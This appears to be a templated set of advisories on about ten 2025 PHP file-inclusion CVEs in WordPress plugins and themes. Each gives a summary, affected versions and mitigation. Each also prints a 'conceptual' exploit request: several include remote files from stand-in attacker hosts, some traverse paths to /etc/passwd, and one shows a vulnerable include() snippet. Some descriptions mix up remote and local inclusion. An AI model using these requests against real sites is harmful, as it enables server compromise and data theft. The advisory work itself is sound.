Author: Ameeba

Overview

This report covers the CVE-2025-39399 vulnerability, which is a PHP Remote File Inclusion issue in ‘License For Envato’ developed by Ashraful Sarkar Naiem. It primarily affects users of this software and could potentially lead to system compromise or data leakage. The severity of this vulnerability underlines the importance of immediate mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39399
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

License For Envato | n/a through 1.0.0

How the Exploit Works

The exploit works due to improper control of the filename for include/require statements in the PHP program of the License For Envato software. An attacker can manipulate these statements to remotely load PHP files from an external server. This can lead to the execution of arbitrary PHP code on the affected system.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a crafted request to a vulnerable instance of License For Envato. The request could look something like this:

GET /vulnerable.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, `vulnerable.php` is a script that includes or requires a file based on the `file` parameter, and `http://attacker.com/malicious.php` is an attacker-controlled file that contains malicious PHP code. When the server processes the request, it includes the malicious file, executing the attacker’s code.

Mitigation

Users are advised to apply patches provided by the vendor to fix this vulnerability. In cases where patches can’t be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. It is also recommended to check and sanitize all inputs and avoid using user inputs directly in include/require statements in PHP programs.

Overview

The vulnerability, identified as CVE-2025-39391, pertains to an Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’) vulnerability in the Checkout Field Visibility for WooCommerce plugin. This vulnerability can lead to PHP Local File Inclusion, affecting all versions of the plugin up to 1.2.3. Given the widespread use of WooCommerce, this vulnerability has the potential to compromise a significant number of e-commerce websites, leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-39391
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Checkout Field Visibility for WooCommerce | n/a to 1.2.3

How the Exploit Works

The exploit relies on the improper control of filename for include/require statements in PHP programs in the Checkout Field Visibility for WooCommerce plugin. This vulnerability allows an attacker to remotely include files from external servers, which could lead to the execution of arbitrary PHP code on the server.

Conceptual Example Code

In a conceptual example, an attacker might exploit the vulnerability through an HTTP POST request like the following:

POST /wp-content/plugins/checkout-field-visibility-for-woocommerce/vulnerable.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://attacker.example.com/malicious_script.php

In this case, the attacker is attempting to include the file ‘malicious_script.php’ from their own server. If successful, the server would then execute the malicious PHP code contained in this file.

Mitigation

Users are strongly advised to apply the latest patch from the vendor as soon as possible. Until the patch can be applied, a web application firewall (WAF) or intrusion detection system (IDS) could be used as temporary mitigation.

Overview

The vulnerability, recognized as CVE-2025-39387, primarily affects WPoperation Opstore, a popular PHP application. This vulnerability involves a PHP Remote File Inclusion flaw, which can be exploited to include local files from the server, potentially leading to system compromise or data leakage. This issue is of high importance due to the potential severity of its impact and the widespread use of the affected application.

Vulnerability Summary

CVE ID: CVE-2025-39387
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WPoperation Opstore | Through 1.4.5

How the Exploit Works

The vulnerability is due to improper handling of filenames for include/require statements in the PHP program. An attacker can manipulate these statements to include local files from the server. This can allow the attacker to execute arbitrary PHP code on the affected system, leading to potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

GET /vulnerable/endpoint?file=../../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker sends a GET request to a vulnerable endpoint of the target server, attempting to include the ‘/etc/passwd’ file, which contains user password data.

Mitigation Guidance

Users are strongly advised to apply the vendor-supplied patch immediately. In situations where immediate patching is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures do not fully resolve the vulnerability, but can help protect against exploitation.

Overview

This report provides an in-depth analysis of a critical vulnerability, CVE-2025-39384, discovered in cedcommerce Product Lister for eBay. This vulnerability stems from the improper control of the filename for include/require statement in the PHP program, allowing PHP Local File Inclusion and potentially compromising the system or leading to data leakage. Given the popularity of eBay and the widespread usage of the cedcommerce Product Lister, addressing this vulnerability is of utmost importance to protect sensitive data and system integrity.

Vulnerability Summary

CVE ID: CVE-2025-39384
Severity: High (7.5 CVSS)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

cedcommerce Product Lister for eBay | n/a through 2.0.9

How the Exploit Works

The exploit takes advantage of the improper control in the PHP program where the filename for include/require statement is not properly handled. An attacker can remotely manipulate the affected file’s path, thereby allowing the inclusion of local files outside the intended directories. This can lead to unauthorized execution of arbitrary PHP code in the context of the webserver, potentially compromising the system or leading to data leakage.

Conceptual Example Code

The vulnerability might be exploited as per the following conceptual example:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"file_path": "../../../../malicious.php"
}

In the example above, an attacker sends a POST request with a malicious file path, tricking the server into executing code from unintended directories.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure, helping to detect and block malicious requests.

Overview

CVE-2025-39383 is a critical vulnerability found in the Code Work Web Xews Lite software. It is associated with the Improper Control of Filename for Include/Require Statement in PHP Programs, which allows PHP Local File Inclusion. This vulnerability has wide-ranging implications for systems running Xews Lite versions up to 1.0.9. The severity of this vulnerability is significant due to its potential to compromise systems and leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-39383
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Code Work Web Xews Lite | Up to and including 1.0.9

How the Exploit Works

The vulnerability arises due to improper control of filename for include/require statement in PHP programs within the Xews Lite software. This allows an attacker to inject malicious PHP code through the file inclusion functionality. The attacker could manipulate the file inclusion directives to execute arbitrary PHP code, thereby compromising the system and potentially leading to data leakage.

Conceptual Example Code

A conceptual example of exploiting this vulnerability might look like this:

POST /vulnerable/endpoint.php?file=http://attacker.com/malicious_code.txt HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
...

In the example above, the attacker tricks the server into including a file (`malicious_code.txt`) from their server (`attacker.com`). When the server executes the PHP code, it runs the malicious code contained within `malicious_code.txt`.

Mitigation

To mitigate the risk of this vulnerability, users are advised to apply the patch provided by the vendor. In the absence of a patch or until one can be applied, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regularly updating and patching software can help prevent exploitation of such vulnerabilities.

Overview

The CVE-2025-39379 vulnerability pertains to an improper control of the filename for the Include/Require statement in PHP Program, specifically ‘PHP Remote File Inclusion’ in a tool called Capturly. This vulnerability is of significance because it can potentially lead to system compromise or data leakage, affecting users of Capturly from versions n/a through 2.0.1.

Vulnerability Summary

CVE ID: CVE-2025-39379
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or potential data leakage

Affected Products

Product | Affected Versions

Capturly | n/a through 2.0.1

How the Exploit Works

The vulnerability stems from an improper control of filename for Include/Require statement in PHP Program, specifically PHP Remote File Inclusion. This allows an attacker to inject a file from a remote server, which is then included and executed by the vulnerable script on the server. This can lead to unauthorized access, data leakage, or even a system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /vulnerable.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, an attacker could potentially manipulate the ‘file’ parameter in the GET request to force the server to include and execute a malicious PHP file from a remote server.
This example is conceptual and provided for illustrative purposes only. Actual exploit code may vary based on the specific implementation of the vulnerable script.

Overview

The vulnerability identified as CVE-2025-39378 exposes a glaring security flaw within Holest Engineering Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light. This vulnerability can potentially lead to system compromise or data leakage if exploited, primarily affecting the users of the stated applications. The severity of this vulnerability necessitates immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39378
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

Holest Engineering Spreadsheet Price Changer for WooCommerce | n/a through 2.4.37
Holest Engineering Spreadsheet Price Changer for WP E-commerce – Light | n/a through 2.4.37

How the Exploit Works

The vulnerability stems from an improper control of filenames for include/require statements in PHP programs. This issue allows for PHP Local File Inclusion (LFI) that can be exploited by a remote attacker to execute arbitrary PHP code on the target system. This can lead to unauthorized access or control over the system, potentially leading to data leakage or system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited, via a PHP GET request:

GET /pricechanger.php?file=http://malicious-site.com/malicious_payload.php HTTP/1.1
Host: target.example.com

In this example, the attacker tricks the system into including and executing a PHP file from a remote server (`malicious-site.com`). This file (`malicious_payload.php`) contains the malicious code that leads to system compromise or data leakage.

Mitigation

To remediate this vulnerability, apply the vendor patch as soon as possible. If the patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, helping to filter out malicious requests.

Overview

This report provides an in-depth analysis of the CVE-2025-39360 vulnerability, a PHP Remote File Inclusion issue in the Grace Mag theme by Everest Themes. This vulnerability affects all versions up to and including 1.1.5 of the Grace Mag theme. The issue poses a significant threat due to its potential to compromise the system or leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-39360
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Grace Mag by Everest Themes | Up to 1.1.5

How the Exploit Works

The vulnerability stems from improper control of the filename for include/require statement in the PHP program. When exploited, this allows an attacker to include local files from the server, potentially leading to the execution of arbitrary PHP code. The attacker could then gain unauthorized access, compromise the system, or extract sensitive data.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited in HTTP request form:

GET /path/to/gracemag/index.php?page=../../../../../etc/passwd HTTP/1.1
Host: vulnerable-website.com

In this example, the attacker is attempting to include the “/etc/passwd” file, a critical system file on Unix-based systems, by traversing directories using the “../../” notation.

Mitigation Guidance

To mitigate this vulnerability, it is recommended that users apply the vendor’s patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, it’s crucial to remember that these are temporary solutions, and the patch should be applied as soon as possible to fully secure the system.

Overview

The CVE-2025-39359 vulnerability is a significant flaw in Code Work Web’s CWW Portfolio software. It involves an improper control of filename for Include/Require Statement in a PHP program, also known as a ‘PHP Remote File Inclusion’ vulnerability. This vulnerability can lead to potential system compromise or data leakage, making it a serious risk for any organization utilizing affected versions of CWW Portfolio.

Vulnerability Summary

CVE ID: CVE-2025-39359
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Code Work Web CWW Portfolio | Up to and including 1.3.1

How the Exploit Works

The PHP Local File Inclusion vulnerability allows an attacker to include files from remote servers. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script on a remote server and then making a request to the affected application including this script. Due to poor input validation, the application fails to properly sanitize the file name for the PHP Include/Require statement, allowing for malicious file inclusion.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.com

In the above example, the attacker’s malicious script located at “http://attacker.com/malicious_script.txt” would be included and executed on the vulnerable web server.

Mitigation and Recommendations

Users of the affected Code Work Web CWW Portfolio versions are advised to apply the vendor-supplied patch as soon as possible. As an interim solution, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help mitigate the risk. However, it is crucial to note that these are temporary solutions and do not replace the need for patching the underlying vulnerability.

Overview

The CVE-2025-32921 vulnerability is a significant security flaw that affects users of WPoperation’s Arrival, a popular WordPress theme. The vulnerability stems from an improper control of filename for Include/Require Statement in the PHP Program, commonly known as ‘PHP Remote File Inclusion’. This vulnerability is of particular concern due to its potential for system compromise or data leakage, and it is essential for users to apply the necessary patches to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-32921
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WPoperation Arrival | n/a – 1.4.5

How the Exploit Works

An attacker exploiting this vulnerability could use a specially crafted PHP script to include a file from a remote server. This occurs due to improper control of filename for Include/Require Statement in PHP Program. By doing so, the attacker can execute arbitrary PHP code within the context of the vulnerable application, potentially leading to unauthorized system access or data leak.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example is a PHP script that includes a malicious file from a remote server.

<?php
// The vulnerable include statement
include($_GET['file'] . ".php");
// An attacker could exploit this by sending a request like:
// http://targetsite.com/vulnerable.php?file=http://malicious.com/malicious
?>

Mitigation and Recommendations

WPoperation has already released a patch to address this vulnerability, and all users are strongly urged to update to the latest version of Arrival. In the absence of a patch, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation. Additionally, input validation techniques should be used to validate user inputs for PHP include/require statements to prevent similar vulnerabilities in the future.